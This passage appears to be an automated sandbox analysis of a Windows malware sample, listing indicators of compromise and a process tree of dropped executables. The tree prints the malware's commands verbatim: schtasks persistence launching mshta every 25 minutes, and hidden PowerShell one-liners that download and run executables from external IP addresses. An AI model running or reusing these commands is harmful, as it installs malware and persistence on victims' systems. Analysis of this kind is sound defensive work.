1108	schtasks.exe

Suspicious behavior: EnumeratesProcesses 37 IoCs

pid	Process
2100	powershell.exe
2100	powershell.exe
2100	powershell.exe
2948	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE
1276	rapes.exe
2052	powershell.exe
2052	powershell.exe
2052	powershell.exe
1784	powershell.exe
1440	vertualiziren.exe
2440	powershell.exe
2440	powershell.exe
2440	powershell.exe
1728	TempPCKMBEY3P0XHJVXPFAGTELAJU4UX3T3O.EXE
2452	powershell.exe
1696	powershell.exe
2492	powershell.exe
2920	2asf3YX.exe
2920	2asf3YX.exe
2920	2asf3YX.exe
2920	2asf3YX.exe
2920	2asf3YX.exe
2920	2asf3YX.exe
2920	2asf3YX.exe
2920	2asf3YX.exe
2516	483d2fa8a0d53818306efeb32d3.exe
2424	435444df89.exe
1232	vsigno.exe
88132	Process not Found
103432	Process not Found
118420	Process not Found
103432	Process not Found
103432	Process not Found
103432	Process not Found
103432	Process not Found
143532	Process not Found
160772	Process not Found

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	2100	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	1784	powershell.exe
Token: SeDebugPrivilege	2720	Build.exe
Token: SeDebugPrivilege	2440	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeDebugPrivilege	2920	2asf3YX.exe
Token: SeDebugPrivilege	2208	5543c91dc1.exe
Token: SeDebugPrivilege	161700	Process not Found
Token: SeDebugPrivilege	167196	Process not Found
Token: SeDebugPrivilege	167680	Process not Found
Token: SeDebugPrivilege	168168	Process not Found
Token: SeDebugPrivilege	168660	Process not Found

Suspicious use of FindShellTrayWindow 15 IoCs

pid	Process
2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe
2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe
2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe
2948	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE
1028	nhDLtPT.exe
2804	dafb180ffe.exe
2804	dafb180ffe.exe
2804	dafb180ffe.exe
160772	Process not Found
160772	Process not Found
160772	Process not Found
160772	Process not Found
160772	Process not Found
160772	Process not Found
160772	Process not Found

Suspicious use of SendNotifyMessage 13 IoCs

pid	Process
2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe
2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe
2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe
2804	dafb180ffe.exe
2804	dafb180ffe.exe
2804	dafb180ffe.exe
160772	Process not Found
160772	Process not Found
160772	Process not Found
160772	Process not Found
160772	Process not Found
160772	Process not Found
160772	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2412 wrote to memory of 1212	2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe	30
PID 2412 wrote to memory of 1212	2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe	30
PID 2412 wrote to memory of 1212	2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe	30
PID 2412 wrote to memory of 1212	2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe	30
PID 2412 wrote to memory of 1048	2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe	31
PID 2412 wrote to memory of 1048	2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe	31
PID 2412 wrote to memory of 1048	2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe	31
PID 2412 wrote to memory of 1048	2412	8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe	31
PID 1212 wrote to memory of 2400	1212	cmd.exe	33
PID 1212 wrote to memory of 2400	1212	cmd.exe	33
PID 1212 wrote to memory of 2400	1212	cmd.exe	33
PID 1212 wrote to memory of 2400	1212	cmd.exe	33
PID 1048 wrote to memory of 2100	1048	mshta.exe	34
PID 1048 wrote to memory of 2100	1048	mshta.exe	34
PID 1048 wrote to memory of 2100	1048	mshta.exe	34
PID 1048 wrote to memory of 2100	1048	mshta.exe	34
PID 2100 wrote to memory of 2948	2100	powershell.exe	37
PID 2100 wrote to memory of 2948	2100	powershell.exe	37
PID 2100 wrote to memory of 2948	2100	powershell.exe	37
PID 2100 wrote to memory of 2948	2100	powershell.exe	37
PID 2948 wrote to memory of 1276	2948	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE	38
PID 2948 wrote to memory of 1276	2948	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE	38
PID 2948 wrote to memory of 1276	2948	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE	38
PID 2948 wrote to memory of 1276	2948	Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE	38
PID 1276 wrote to memory of 1956	1276	rapes.exe	40
PID 1276 wrote to memory of 1956	1276	rapes.exe	40
PID 1276 wrote to memory of 1956	1276	rapes.exe	40
PID 1276 wrote to memory of 1956	1276	rapes.exe	40
PID 1956 wrote to memory of 2292	1956	PcAIvJ0.exe	41
PID 1956 wrote to memory of 2292	1956	PcAIvJ0.exe	41
PID 1956 wrote to memory of 2292	1956	PcAIvJ0.exe	41
PID 2292 wrote to memory of 2052	2292	cmd.exe	43
PID 2292 wrote to memory of 2052	2292	cmd.exe	43
PID 2292 wrote to memory of 2052	2292	cmd.exe	43
PID 2052 wrote to memory of 1784	2052	powershell.exe	44
PID 2052 wrote to memory of 1784	2052	powershell.exe	44
PID 2052 wrote to memory of 1784	2052	powershell.exe	44
PID 1276 wrote to memory of 1028	1276	rapes.exe	46
PID 1276 wrote to memory of 1028	1276	rapes.exe	46
PID 1276 wrote to memory of 1028	1276	rapes.exe	46
PID 1276 wrote to memory of 1028	1276	rapes.exe	46
PID 1028 wrote to memory of 2176	1028	nhDLtPT.exe	47
PID 1028 wrote to memory of 2176	1028	nhDLtPT.exe	47
PID 1028 wrote to memory of 2176	1028	nhDLtPT.exe	47
PID 1028 wrote to memory of 2176	1028	nhDLtPT.exe	47
PID 2176 wrote to memory of 1440	2176	Gxtuum.exe	49
PID 2176 wrote to memory of 1440	2176	Gxtuum.exe	49
PID 2176 wrote to memory of 1440	2176	Gxtuum.exe	49
PID 2176 wrote to memory of 1440	2176	Gxtuum.exe	49
PID 1276 wrote to memory of 2400	1276	rapes.exe	50
PID 1276 wrote to memory of 2400	1276	rapes.exe	50
PID 1276 wrote to memory of 2400	1276	rapes.exe	50
PID 1276 wrote to memory of 2400	1276	rapes.exe	50
PID 2400 wrote to memory of 2800	2400	BUZd3Mq.exe	51
PID 2400 wrote to memory of 2800	2400	BUZd3Mq.exe	51
PID 2400 wrote to memory of 2800	2400	BUZd3Mq.exe	51
PID 2400 wrote to memory of 2800	2400	BUZd3Mq.exe	51
PID 2400 wrote to memory of 2720	2400	BUZd3Mq.exe	52
PID 2400 wrote to memory of 2720	2400	BUZd3Mq.exe	52
PID 2400 wrote to memory of 2720	2400	BUZd3Mq.exe	52
PID 2400 wrote to memory of 2720	2400	BUZd3Mq.exe	52
PID 2720 wrote to memory of 816	2720	Build.exe	53
PID 2720 wrote to memory of 816	2720	Build.exe	53
PID 2720 wrote to memory of 816	2720	Build.exe	53

C:\Users\Admin\AppData\Local\Temp\8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe
"C:\Users\Admin\AppData\Local\Temp\8d69e64b83a54089dcbf55a2aa726a905040428c9b5ad0ffc53876256640e18c.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2412
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn B1kz5makRhV /tr "mshta C:\Users\Admin\AppData\Local\Temp\CwH7cSt1O.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1212
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn B1kz5makRhV /tr "mshta C:\Users\Admin\AppData\Local\Temp\CwH7cSt1O.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2400
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\CwH7cSt1O.hta
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2100
  - - C:\Users\Admin\AppData\Local\Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE
      "C:\Users\Admin\AppData\Local\Temp6QRX8BGYLURTOD1UXAY1JFC4G6HMOXG8.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Loads dropped DLL
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2948
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1276
      - C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1956
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\35B0.tmp\35B1.tmp\35B2.bat C:\Users\Admin\AppData\Local\Temp\10106760101\PcAIvJ0.exe"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2052
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1784
      - C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:1028
        
        C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"
        7⤵
        Downloads MZ/PE file
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2176
        
        C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe
        
        "C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1440
      - C:\Users\Admin\AppData\Local\Temp\10108450101\BUZd3Mq.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108450101\BUZd3Mq.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2400
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Lappy.A.vbs"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2800
        
        C:\Users\Admin\AppData\Local\Temp\Build.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Build.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2720
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2720 -s 992
        8⤵
        Loads dropped DLL
        Program crash
        
        PID:816
      - C:\Users\Admin\AppData\Local\Temp\10108470101\dafb180ffe.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108470101\dafb180ffe.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2804
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn F50cDmaIn5U /tr "mshta C:\Users\Admin\AppData\Local\Temp\198XEs4pd.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2948
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn F50cDmaIn5U /tr "mshta C:\Users\Admin\AppData\Local\Temp\198XEs4pd.hta" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2744
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\198XEs4pd.hta
        7⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:2820
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'PCKMBEY3P0XHJVXPFAGTELAJU4UX3T3O.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2440
        
        C:\Users\Admin\AppData\Local\TempPCKMBEY3P0XHJVXPFAGTELAJU4UX3T3O.EXE
        
        "C:\Users\Admin\AppData\Local\TempPCKMBEY3P0XHJVXPFAGTELAJU4UX3T3O.EXE"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:1728
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\10108480121\am_no.cmd" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1856
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1788
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1796
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2452
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:924
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1696
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:564
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2492
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "vfYydmaBeJP" /tr "mshta \"C:\Temp\CImJpZO5X.hta\"" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1108
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\CImJpZO5X.hta"
        7⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:2496
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        
        PID:2500
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2516
      - C:\Users\Admin\AppData\Local\Temp\10108680101\2asf3YX.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108680101\2asf3YX.exe"
        6⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2920
      - C:\Users\Admin\AppData\Local\Temp\10108710101\435444df89.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108710101\435444df89.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2424
      - C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2208
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1424
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2056
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:888
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1004
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:3052
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2240
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1616
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1576
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2092
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1212
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2080
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1880
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1220
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2548
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2496
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2816
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1020
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1668
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2924
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2704
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2728
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2848
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2852
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2936
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2416
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2248
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:3068
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1740
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1624
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1456
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2584
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2380
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2648
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:2904
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:920
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1216
        
        C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108720101\5543c91dc1.exe"
        7⤵
        Executes dropped EXE
        
